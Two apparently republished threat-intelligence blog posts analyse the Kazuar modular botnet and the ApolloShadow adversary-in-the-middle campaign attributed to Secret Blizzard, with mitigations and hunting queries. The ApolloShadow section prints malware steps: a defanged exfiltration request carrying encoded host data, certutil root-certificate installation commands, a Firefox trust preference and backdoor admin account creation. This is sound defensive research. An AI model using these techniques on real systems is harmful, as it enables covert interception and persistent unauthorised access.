Kazuar, a sophisticated malware family attributed to the Russian state actor Secret Blizzard, has been under constant development for years and continues to evolve in support of espionage-focused operations. Over time, Kazuar has expanded from a relatively traditional backdoor into a highly modular peer-to-peer (P2P) botnet ecosystem designed to enable persistent, covert access to target environments.

This upgrade aligns with Secret Blizzard’s broader objective of gaining long-term access to systems for intelligence collection. The threat actor has historically targeted organizations in the government and diplomatic sector in Europe and Central Asia, as well as systems in Ukraine previously compromised by Aqua Blizzard, very likely for the purpose of obtaining information supporting Russia’s foreign policy and military objectives.

While many threat actors rely on increasing usage of native tools (living-off-the-land binaries (LOLBins)) to avoid detection, Kazuar’s progression into a modular bot highlights how Secret Blizzard is engineering resilience and stealth directly into their tooling. By separating responsibilities across Kernel, Bridge, and Worker modules and restricting external communications to a single elected leader, Kazuar reduces its observable footprint. It also maintains flexible tasking, data staging, and multiple fallback channels for command and control (C2). Understanding this architecture helps defenders move beyond single sample analysis and instead focus on the behaviors that keep the botnet operational: leader election, inter-process communication (IPC) message routing, working directory staging, and periodic exfiltration.

Kazuar’s capabilities and tradecraft have been widely documented by the security research community, and prior reporting, including Unit 42’s write-up and a recent deep dive into its loader capabilities, remains relevant today. This blog is an in-depth analysis of Kazuar’s progression from a single, monolithic framework into a modular bot ecosystem composed of three distinct module types, each with clearly defined roles. Together, these components distribute functionality across the P2P botnet, enabling flexible configuration, lower observability, and broad tasking while minimizing opportunities for detection.

Delivery

Kazuar is delivered through multiple dropper variants. In one observed method, the Pelmeni dropper embeds the encrypted second-stage payload directly within the dropper as an encrypted byte array. The payload is often bound to the target environment (for example, encrypted using the target hostname) so it only decrypts and executes on the intended host.

In another method, the dropper deploys a small .NET loader alongside the final payload. The dropper then invokes the loader (often configured as a COM object) and supplies the decrypted payload, allowing it to load and execute the Kazuar modules.

Module types

There are three distinct types of modules: Kernel, Bridge, and Worker. The next sections explain the functionality contained in each type and how they interact with each other.

This diagram shows the general interactions between a set of modules on a single host. Each infected host needs to have all three modules to create the full P2P network:

Note: We use ALL CAPS when referencing identifiers taken verbatim from the malware (for example, internal module and thread names, message types, configuration keys, or mode/flag values). 

Type: Kernel

The Kernel module serves as the central coordinator for the botnet. It issues tasks to Worker modules, manages communication with the Bridge module, and maintains logs of actions and collected data. Early in execution, the Kernel module performs extensive anti-analysis and sandbox checks. These behaviors are well documented in the Unit 42 write-up and include standard checks such as:

• Checking for running processes containing analysis tools
• Checking for canary files on the desktop
• Checking the loaded process for sandbox-related DLLs

Module configuration

Once these checks are passed, the Kernel module sets up the environment based on numerous configuration options. Previous versions of Kazuar have used separate files containing the configuration information, but these are now embedded in the samples and have significantly increased the number of configurations available to the malware family. 

The configuration set can vary across 150 different configuration types, C2 communication infrastructures, or tasking options generally defined by eight functional categories. Any operational configuration in use can be updated at any time from the C2 server. The following table contains some examples and descriptions of the categories.

This configuration exposes three internal communication mechanisms:

• Window Messaging
• Mailslot
• Named pipes

There are also three different communication protocols for external communication:

• Exchange Web Services (EWS)
• HTTP
• WebSockets (WSS)

They typically contain redundant or fallback communications to maintain access in the event of the failure of a single point of contact.

Leadership election

One of the methods that Kazuar uses to limit external communication is to use a single Kernel leader per botnet. In this architecture, the Kernel leader is the one elected Kernel module that communicates with the Bridge module on behalf of the other Kernel modules, reducing visibility by avoiding large volumes of external traffic from multiple infected hosts.

There are several conditions that determine whether a new leader needs to be elected among participating Kernel modules:

1. There currently is no leader.
2. The leader announces it is shutting down.
3. The leader announces it is logging off.
4. If an election does not result in a leader due to an error, a new election will be called.

Elections occur over Mailslot, and the leader is elected based on the amount of work (length of time the Kernel module has been running) divided by interrupts (reboots, logoffs, process terminated). Once a leader is elected, it announces itself as the leader and tells all other Kernel modules to set SILENT.

Only the elected leader is not SILENT, which allows the leader Kernel module to log activity and request tasks through the Bridge module. Client Kernel modules still participate in internal IPC (for elections, status, and delegated work), but they don’t independently request tasks from the Bridge module. Before entering SILENT mode, each client Kernel module sends a CLIENT announcement, which causes the leader to add it to the maintained agent list.

With the hierarchy established, the work can be done. Several threads and communication types are initialized to perform the work and communicate between modules.

REMO thread

The REMO thread sets up a named pipe channel between Kernel modules so the leader can exchange messages with other Kernels. By default, the pipe name is the MD5 hash of pipename-kernel-<Bot version>, which results in a pipe path such as \\.\pipe\82760B84F1D703D596C79B88BA4FAC1E. The name could be modified through additional strings passed into the name-building function, but this pattern is the default. This channel lets the leader target specific client Kernel modules when delegating work.

Messages over this pipe are AES-encrypted and begin with a PING/PONG handshake. After that, the leader could:

• Request another Kernel module’s logs
• Assign tasks to a client Kernel module

Because only the Kernel leader is allowed to request tasks through the Bridge module, it distributes work to the other Kernel clients over named pipes. If the leader receives a task destined for a different bot, it forwards the task to the appropriate client Kernel module through this channel.

MSGW thread

For Kernel-to-Worker and Kernel-to-Bridge communication, Kazuar uses one of two IPC mechanisms:

• Window Messaging [default selection]
  • Registers a hidden window
• Mailslot
  • Registers a Mailslot

Based on its initial configuration, Kazuar selects one of these communication types to listen for incoming communication, with the default being Windows Messaging.

Window Messaging setup

This technique involves creating a hidden window and registering a ClassName and WindProc. The ClassName is simply the module name (for example, Bridge), and the WindProc is the general-purpose message handler.

This allows other processes to look up the window by ClassName and use several different APIs to send a message to that window. When the window receives a message, the WindProc is executed to parse it and carry out the requested action.

Mailslot setup

The Mailslot name is derived by hashing the string “mailslot-” plus the module name (Bridge/Kernel/Worker). The configuration can optionally append an additional identifier (empty by default), which allows deployments to create distinct Mailslot namespaces when needed.

The string is hashed and used as the name to create the Mailslot: \\.\mailslot\<generated hash>.

A thread is created that checks every three seconds for new messages using the API GetMailslotInfo, and when it finds one, it parses the incoming message.

Message types

Regardless of what message delivery system is selected, the message is parsed by the same handler function. For the Kernel module, this message parsing function has numerous expected communication messages, since it controls all the modules execution flows.

The following message table describes the incoming and outgoing messages for the Kernel, what actions precipitate a message, and what the Kernel does when it receives each message:

SEND thread

The configuration specifies an external communication method from the available communication modes

• HTTP [default selection]
• Web Socket Server (WSS)
• Exchange Web Server (EWS)

These configurations can be changed at any point when the C2 sends a new configuration, or a change communication task is issued to it. It also contains a heartbeat timer that is defined in the configuration for the SEND actions to occur with the default timer being every hour. There are also working timers that can install a blackout period on communications to blend in with the target environment.

Note: Only the elected Kernel leader can perform the following actions:

• If the Kernel has task results 
  • Read in the task file
  • Send SEND message to Bridge with the task result file
• Get new tasks from Bridge
  • Send CHECK message to Bridge

Table 2 describes what the Kernel expects in return for these messages. The messages are sent asynchronously and recorded as tasks by the Kernel.

There is also a failsafe communication method that allows the Kernel to directly contact the remote C2 if the Kernel is unable to communicate with the Bridge module. Essentially, if all communication attempts fail and a certain amount of time has elapsed, the Kernel module requests tasks directly from the remote C2.

SOLV thread

This thread executes when the heartbeat timer expires to handle any tasks that the Kernel is tracking. This thread performs several functions related to the current task list:

• Loop through the list of current tasks
  • Check if aborted flag is true
    • Issue TaskKill message to the worker (Window Messaging)
    • Remove task from task list
  • Check if task has exceeded the configured max working time for task
    • Issue TaskKill message to the worker (Window Messaging)
    • Set aborted flag for task to true
    • Remove task from task list
• Read in all task files from the working directory
  • If the task is new
    • Add task to task list

Type: Bridge

The Bridge module provides the botnet’s external communications layer, acting as the proxy between the leader Kernel module and the C2 server regardless of the transport method selected. Since each Kernel module has its own Worker and Bridge module, if a new leader is elected, then that new leader Kernel module uses its Bridge module for communication. It typically has the same default configuration as the Kernel module but does contain a few different operations that set up the initial infection.

The Bridge module initializes its core object with basic metadata and instantiates two supporting components that provide the module’s primary functionality:

• Server Communication module
• Task Handling module

The module registers handlers for two system-level events. These handlers define how the module should respond when specific system events occur:

• SystemEvents.SessionEnded
• SystemEvents.PowerModeChanged

When an event is triggered, the corresponding handler function is invoked, allowing the module to determine the appropriate action for that event. Events are typically ignored unless they require explicit handling.

The module only terminates when the system is shutting down; all other events do not affect its lifetime. Based on its initial configuration, which should match the Kernel module configuration, it selects either Mailslot or Windows Messaging as the IPC mechanism used for communication between modules. Once the setup steps is completed, the module is ready to proxy communication between the leader Kernel module and the C2 server.

Type: Worker

The initial Worker configuration mirrors the structure of other module configurations and follows the same overall layout. Based on its initial configuration, the Worker module selects either Mailslot or Windows Messaging as the IPC mechanism used to communicate between modules. The default configuration for this botnet uses Windows Messaging; further details on the window setup are described below.

During initialization, the Worker configuration instantiates several objects responsible for the module’s primary functionality. Each object is executed within its own named thread. These components include:

• Task Solver
  • Handles task tracking
• Peep
  • Hooks windows events
  • Has a max number of windows to hook set by the configuration
• Keylogger
• Filesystem
  • GINFO – Gather system info
  • GFIL – Gather file listings
    • Recent files
    • Desktop
    • Malware working directory
  • GHOO – Window information
  • GMAP – Gather MAPI info
    • Email information

Data collected by these components is aggregated, encrypted, and written to the malware’s working directory, where it is staged for subsequent exfiltration to the C2 server.

Botnet operations

With the botnet setup complete, configurations instantiated, and a leader elected, Kazuar transitions into its steady state operational phase. In this state, the elected Kernel leader centrally coordinates tasking and data collection across participating modules while maintaining a deliberately low observable footprint. Worker modules execute tasks asynchronously based on configuration and assignments received from the Kernel, collecting system, file, window, and user activity data according to defined schedules and limits.

Module-to-module messaging

When one module needs to communicate with another, all required information is assembled into a structured message packet. Multiple packet formats are defined, with the specific format determined by the message type and intended action.

These message packets are constructed using Google Protocol Buffers (Protobuf), which provides a structured, schema‑based format similar in concept to JSON. Using Protobuf allows the malware to efficiently serialize, transmit, and parse messages through standard library functions.

Messages destined for the Bridge module include additional fields that describe how the request should be forwarded to the remote C2 infrastructure. These fields specify transport level details, including the external communication mechanism to be used.

The TransportType field can specify one of three supported communication methods. The default transport is typically HTTP, using the C2 URLs in the default configuration.

When sending a message, the dispatch function examines the contents of the message packet to determine the appropriate delivery mechanism, resolves the corresponding Mailslot name or window class identifier, and routes the packet to the intended module.

For example, if the TransportType is set to EWS, the packet is delivered to the Bridge module, which then uses its Exchange communication component to encapsulate the data and deliver it to the remote C2 server via email.

Messages originate from the Kernel leader, except for a couple of worker tasks that send messages to the Kernel module based on their configuration.

Working directory

Kazuar uses a dedicated working directory as a centralized on‑disk staging area to support its internal operations across modules. This directory is defined through configuration and is consistently referenced using fully qualified paths to avoid ambiguity across execution contexts. Within the working directory, Kazuar organizes data by function, isolating tasking, collection output, logs, and configuration material into distinct locations. This design allows the malware to decouple task execution from data storage and exfiltration, maintain operational state across restarts, and coordinate asynchronous activity between modules while minimizing direct interaction with external infrastructure. Collected artifacts are typically written incrementally, encrypted before staging, and retained locally until explicitly forwarded to the C2 infrastructure through the Bridge module.

Within this working directory, Kazuar maintains separate storage locations for the following functional data types:

• Peeps
• Autos
• Files
• Hashes
• Result files
• Task files
• Config files
• Common wordlist
• Common exe
• Logs
• Keylogger

This structured use of the filesystem enables Kazuar to operate modularly, maintain persistence state across leadership changes or reboots, and blend malicious activity into routine file system usage.

Module tasks

The list of commands available for the Worker modules to perform is extensive and has many features, from arbitrary command/script execution to preformatted forensic data collection functions, as described in the Unit 42 blog.

The Kernel module task handler has a few additional functions that handle commands issued from the leader Kernel module.

System info gathering

System info gathering is often enabled by default in the configuration. This causes an initial collection of system information when the agent starts up. This task collects an extensive amount of information about the system and its user.

Screenshots are also taken through various methods and saved for exfiltration both automatically through the configuration or when a task is issued.

Who is Secret Blizzard?

The United States Cybersecurity and Infrastructure Security Agency (CISA) has attributed Secret Blizzard to Center 16 of Russia’s Federal Security Service (FSB), which is one of Russia’s Signals Intelligence and Computer Network Operations (CNO) services responsible for intercepting and decrypting electronic data as well as the technical penetration of foreign intelligence targets. Secret Blizzard overlaps with activity tracked by other security vendors as VENOMOUS BEAR, Uroburos, Snake, Blue Python, Turla, WRAITH, and ATG26.

Secret Blizzard is known for targeting a wide array of verticals, but most prominently ministries of foreign affairs, embassies, government offices, defense departments, and defense-related companies worldwide. Secret Blizzard focuses on gaining long-term access to systems for intelligence collection using extensive resources such as multiple backdoors, including some with peer-to-peer functionality and C2 communication channels. During intrusions, the threat actor collects and exfiltrates documents, PDFs, and email content. In general, Secret Blizzard seeks out information of political importance with a particular interest in advanced research that might impact international political issues.

Mitigation and protection guidance

To harden networks against the Secret Blizzard activity listed above, defenders can implement the following:

Strengthen Microsoft Defender for Endpoint configuration

• Microsoft Defender XDR customers can implement attack surface reduction rules to harden an environment against techniques used by threat actors.
  • Block execution of potentially obfuscated scripts.
  • Block process creations originating from PSExec and WMI commands
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion
  • Block abuse of exploited vulnerable signed drivers.
• Enable network protection in Microsoft Defender for Endpoint.
• Ensure that tamper protection is enabled in Microsoft Defender for Endpoint.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode.
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume.

Strengthen Microsoft Defender Antivirus configuration

• Turn on PUA protection in block mode in Microsoft Defender Antivirus.
• Turn on  cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving threat actor tools and techniques.
• Turn on Microsoft Defender Antivirus real-time protection.

Strengthen operating environment configuration

• Encourage users to use Microsoft Edge and other web browsers that support SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Implement PowerShell execution policies to control conditions under which PowerShell can load configuration files and run scripts.
• Turn on and monitor PowerShell module and script block logging.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Secret Blizzard

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

References

• Over the Kazuar’s Nest: Cracking Down on a Freshly Hatched Backdoor Used by Pensive Ursa (Aka Turla)
• 🇷🇺 COMmand & Evade: Turla’s Kazuar v3 Loader
• Russia’s FSB malign activity: factsheet
• Hunting Russian Intelligence “Snake” Malware

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Kazuar: Anatomy of a nation-state botnet appeared first on Microsoft Security Blog.

While we previously assessed with low confidence that the actor conducts cyberespionage activities within Russian borders against foreign and domestic entities, this is the first time we can confirm that they have the capability to do so at the Internet Service Provider (ISP) level. This means that diplomatic personnel using local ISP or telecommunications services in Russia are highly likely targets of Secret Blizzard’s AiTM position within those services. In our previous blog, we reported the actor likely leverages Russia’s domestic intercept systems such as the System for Operative Investigative Activities (SORM), which we assess may be integral in facilitating the actor’s current AiTM activity, judging from the large-scale nature of these operations.

This blog provides guidance on how organizations can protect against Secret Blizzard’s AiTM ApolloShadow campaign, including forcing or routing all traffic through an encrypted tunnel to a trusted network or using an alternative provider—such as a satellite-based connection—hosted within a country that does not control or influence the provider’s infrastructure. The blog also provides additional information on network defense, such as recommendations, indicators of compromise (IOCs), and detection details.

Secret Blizzard is attributed by the United States Cybersecurity and Infrastructure Agency (CISA) as Russian Federal Security Service (Center 16). Secret Blizzard further overlaps with threat actors tracked by other security vendors by names such as VENOMOUS BEAR, Uroburos, Snake, Blue Python, Turla, Wraith, ATG26, and Waterbug.

As part of our continuous monitoring, analysis, and reporting of the threat landscape, we are sharing our observations on Secret Blizzard’s latest activity to raise awareness of this actor’s tradecraft and educate organizations on how to harden their attack surface against this and similar activity. Although this activity poses a high risk to entities within Russia, the defense measures included in this blog are broadly applicable and can help organizations in any region reduce their risk from similar threats. Microsoft is also tracking other groups using similar techniques, including those documented by ESET in a previous publication.

AiTM and ApolloShadow deployment

In February 2025, Microsoft Threat Intelligence observed Secret Blizzard conducting a cyberespionage campaign against foreign embassies located in Moscow, Russia, using an AiTM position to deploy the ApolloShadow malware to maintain persistence and collect intelligence from diplomatic entities. An adversary-in-the-middle technique is when an adversary positions themself between two or more networks to support follow-on activity. The Secret Blizzard AiTM position is likely facilitated by lawful intercept and notably includes the installation of root certificates under the guise of Kaspersky Anti-Virus (AV). We assess this allows for TLS/SSL stripping from the Secret Blizzard AiTM position, rendering the majority of the target’s browsing in clear text including the delivery of certain tokens and credentials. Secret Blizzard has exhibited similar techniques in past cyberespionage campaigns to infect foreign ministries in Eastern Europe by tricking users to download a trojanized Flash installer from an AiTM position.

Initial access    

In this most recent campaign, the initial access mechanism used by Secret Blizzard is facilitated by an AiTM position at the ISP/Telco level inside Russia, in which the actor redirects target devices by putting them behind a captive portal. Captive portals are legitimate web pages designed to manage network access, such as those encountered when connecting to the internet at a hotel or airport. Once behind a captive portal, the Windows Test Connectivity Status Indicator is initiated—a legitimate service that determines whether a device has internet access by sending an HTTP GET request to hxxp://www.msftconnecttest[.]com/redirect which should direct to msn[.]com.  

Delivery and installation

Once the system opens the browser window to this address, the system is redirected to a separate actor-controlled domain that likely displays a certificate validation error which prompts the target to download and execute ApolloShadow. Following execution, ApolloShadow checks for the privilege level of the ProcessToken and if the device is not running on default administrative settings, then the malware displays the user access control (UAC) pop-up window to prompt the user to install certificates with the file name CertificateDB.exe, which masquerades as a Kaspersky installer to install root certificates and allow the actor to gain elevated privileges in the system.

ApolloShadow malware

ApolloShadow uses two execution paths depending on the privilege level of the running process. The token of the running process is retrieved using the API GetTokenInformationType and the value of TokenInformation is checked to see if the token contains the TokenElevationTypeFulltype. If it does not have that privilege level, ApolloShadow executes a low privilege execution path.

Low privilege execution

When executing the low privilege path, the first action is to collect information about the host to send back to the AiTM controlled command and control (C2). First, the host’s IP information is collected using the API GetIpAddrTable, which collects information from the IpAddrTable. Each entry is individually Base64-encoded and delineated by a pipe character with \r\n appended, then combined into one string. For example:

• 172.29.162[.]128 00-15-5D-04-04-1C
• 127.0.0[.]1

 "|MTcyLjI5LjE2Mi4xMjggMDAtMTUtNUQtMDQtMDQtMUM=|\r\n|MTI3LjAuMC4xIA==|\r\n"

 Then the entire string is Base64-encoded once again in preparation for exfiltration to the C2 host:

"fE1UY3lMakk1TGpFMk1pNHhNamdnTURBdE1UVXROVVF0TURRdE1EUXRNVU09fA0KfE1USTNMakF1TUM0eElBPT18DQo="

The encoded network information is added as a query string to a GET request with the destination URL hxxp://timestamp.digicert[.]com/registered. Two query parameters are included with the request, code and t.  The Code parameters contains a hardcoded set of characters and the t variable has the encoded IP address information, as shown below:

code=DQBBBBBBBBBOBBBBBBBBBBgBBBBBBBBBny_t???????t=fE1UY3lMakk1TGpFMk1pNHhNamdnTURBdE1UVXROVVF0TURRdE1EUXRNVU09fA0KfE1USTNMakF1TUM0eElBPT18DQo=

While the timestamp subdomain does exist for Digicert, the /registered resource does not. Due to the AiTM position of the actor, Secret Blizzard can use DNS manipulation to redirect legitimate-looking communication to the actor-controlled C2 and return an encoded VBScript as the second-stage payload. 

When the response comes back from the redirected Digicert request, the file name that is used to write the script to disk is decoded for use. ApolloShadow uses string obfuscation in several places throughout the binary to hide critical strings. These strings are blocks of encoded characters that are encoded using XOR with a separate set of hardcoded constants. While this is not a particularly sophisticated technique, it is enough to obscure the strings from view at first glance. The strings are decoded as they are used and then re-encoded after use to remove traces of the strings from memory. 

The decoded file name is edgB4ACD.vbs and the file name string is concatenated by the malware with the results of querying the environment variable for the TEMP directory to create the path for the target script. We were unable to recover the script, but the header of the response is checked for the first 12 characters to see if it matches the string MDERPWSAB64B. Once ApolloShadow has properly decoded the script, it executes the script using the Windows API call CreateProcessW with the command line to launch wscript and the path to edgB4ACD.vbs.

Finally, the ApolloShadow process launches itself again using ShellExecuteA, which presents the user with an UAC window to bypass UAC mechanisms and prompt the user to grant the malware the highest privileges available to the user.

Elevated privilege execution

When the process is executed with sufficient elevated privileges, ApolloShadow alters the host by setting all networks to Private. This induces several changes including allowing the host device to become discoverable, and relaxing firewall rules to enable file sharing. While we did not see any direct attempts for lateral movement, the main reason for these modifications is likely to reduce the difficulty of lateral movement on the network. ApolloShadow uses two different methods to perform this change.

The first method is through the registry settings for NetworkProfiles: SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles. The network’s globally unique identifiers (GUIDs) are parsed for each connected network, and the malware modifies the value Category by setting it to 0. This change sets the profile of the network to Private after the host has been rebooted.

The second method directly sets firewall rules using Component Object Model (COM) objects that enable file sharing and turn on network discovery. Several strings are decoded using the same method as above and concatenated to create the firewall rules they want to modify.

• FirewallAPI.dll,-32752
  • This command enables the Network Discovery rule group
• FirewallAPI.dll,-28502
  • This command enables all rules in the File and Printer Sharing group

The strings are passed to the COM objects to enable the rules if they are not already enabled.

Both techniques have some crossover, but the following table provides a comparison overview of each method.

From here, ApolloShadow presents the user with a window showing that the certificates are being installed.  

A new thread performs the remainder of the functionality. The two root certificates being installed are written to the %TEMP% directory with a temporary name and the extension crt. The certificate installation is performed by using the Windows certutil utility and the temporary files are deleted following the execution of the commands.

• certutil.exe -f -Enterprise -addstore root "C:\Users\<username>\AppData\Local\Temp\crt3C5C.tmp"
•  certutil.exe -f -Enterprise -addstore ca "C:\Users\<username>\AppData\Local\Temp\crt53FF.tmp"

The malware must add a preference file to the Firefox preference directory because Firefox uses different certificate stores than browsers such as Chromium, which results in Firefox not trusting the root and enterprise store by default. ApolloShadow reads the registry key that points to the installation of the application and builds a path to the preference directory from there. A file is written to disk called wincert.js containing a preference modification for Firefox browsers, allowing Firefox to trust the root certificates added to the operating system’s certificate store. 

• pref("security.enterprise_roots.enabled", true);" privilege

The final step is to create an administrative user with the username UpdatusUser and a hardcoded password on the infected system using the Windows API NetUserAdd. The password is also set to never expire.

ApolloShadow has successfully installed itself on the infected host and has persistent access using the new local administrator user.

Defending against Secret Blizzard activity

Microsoft recommends that all customers, but especially sensitive organizations operating in Moscow, should implement the following recommendations to mitigate against Secret Blizzard activity.

• Route all traffic through an encrypted tunnel to a trusted network or use a virtual private network (VPN) service provider, such as a satellite-based provider, whose infrastructure is not controlled or influenced by outside parties.

Microsoft also recommends the following guidance to enhance protection and mitigate potential threats:

• Practice the principle of least privilege, use multifactor authentication (MFA), and audit privileged account activity in your environments to slow and stop attackers. Avoid the use of domain-wide, admin-level service accounts and restrict local administrative privileges. These mitigation steps reduce the paths that attackers have available to them to accomplish their goals and lower the risk of the compromise spreading in your environment.
• Regularly review highly privileged groups like Administrators, Remote Desktop Users, and Enterprise Admins. Threat actors may add accounts to these groups to maintain persistence and disguise their activity.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques.
• Run endpoint detection and response (EDR) in block mode, so that Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus doesn’t detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts detected post-breach. 
• Turn on attack surface reduction rules to prevent common attack techniques. These rules, which can be configured by all Microsoft Defender Antivirus customers and not just those using the EDR solution, offer significant hardening against common attack vectors.
• Block executable files from running unless they meet a prevalence, age, or trusted list criterion
• Block execution of potentially obfuscated scripts

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects this threat as the following malware:

• Trojan:Win64/ApolloShadow

Microsoft Defender for Endpoint

The following alerts might indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity.

• Secret Blizzard Actor activity detected
• Suspicious root certificate installation
• Suspicious certutil activity
• User account created under suspicious circumstances
• A script with suspicious content was observed

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following pre-built promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender Threat Intelligence

• Actor profile: Secret Blizzard

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Surface devices that attempt to download a file within two minutes after captive portal redirection. This activity may indicate a first stage AiTM attack—such as the one utilized by Secret Blizzard—against a device.

let CaptiveRedirectEvents = DeviceNetworkEvents 
| where RemoteUrl contains "msftconnecttest.com/redirect" 
| project DeviceId, RedirectTimestamp = Timestamp, RemoteUrl; 
let FileDownloadEvents = DeviceFileEvents 
| where ActionType == "FileDownloaded" 
| project DeviceId, DownloadTimestamp = Timestamp, FileName, FolderPath; CaptiveRedirectEvents 
| join kind=inner (FileDownloadEvents) on DeviceId 
| where DownloadTimestamp between (RedirectTimestamp .. (RedirectTimestamp + 2m)) 
| project DeviceId, RedirectTimestamp, RemoteUrl, DownloadTimestamp, FileName, FolderPath

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Below are the queries using Sentinel Advanced Security Information Model (ASIM) functions to hunt threats across both Microsoft first party and third-party data sources. ASIM also supports deploying parsers to specific workspaces from GitHub, using an ARM template or manually.

Detect network IP and domain indicators of compromise using ASIM

The below query checks IP addresses and domain indicators of compromise (IOCs) across data sources supported by ASIM Network session parser.

//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic(["45.61.149.109"]);
let ioc_domains = dynamic(["kav-certificates.info"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect network and files hashes indicators of compromise using ASIM

The below queries will check IP addresses and file hash IOCs across data sources supported by ASIM Web session parser.

Detect network indicators of compromise and domains using ASIM

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic(["45.61.149.109"]);
let ioc_sha_hashes =dynamic(["13fafb1ae2d5de024e68f2e2fc820bc79ef0690c40dbfd70246bcc394c52ea20"]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

// Domain list - _Im_WebSession
let ioc_domains = dynamic(["kav-certificates.info"]);
_Im_WebSession (url_has_any = ioc_domains)

Detect files hashes indicators of compromise using ASIM

The below query will check IP addresses and file hash IOCs across data sources supported by ASIM FileEvent parser.

Detect network and files hashes indicators of compromise using ASIM

// file hash list - imFileEvent
let ioc_sha_hashes =dynamic(["13fafb1ae2d5de024e68f2e2fc820bc79ef0690c40dbfd70246bcc394c52ea20"]);
imFileEvent
| where SrcFileSHA256 in (ioc_sha_hashes) or
TargetFileSHA256 in (ioc_sha_hashes)
| extend AccountName = tostring(split(User, @'')[1]), 
  AccountNTDomain = tostring(split(User, @'')[0])
| extend AlgorithmType = "SHA256"

Indicators of compromise

References

• https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a
• https://www.welivesecurity.com/2018/01/09/turlas-backdoor-laced-flash-player-installer/
• https://attack.mitre.org/techniques/T1557/
• https://web-assets.esetstatic.com/wls/2018/01/ESET_Turla_Mosquito.pdf

Acknowledgments

• https://securelist.com/compfun-successor-reductor/93633/

Learn more

Meet the experts behind Microsoft Threat Intelligence, Incident Response, and the Microsoft Security Response Center at our VIP Mixer at Black Hat 2025. Discover how our end-to-end platform can help you strengthen resilience and elevate your security posture.

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

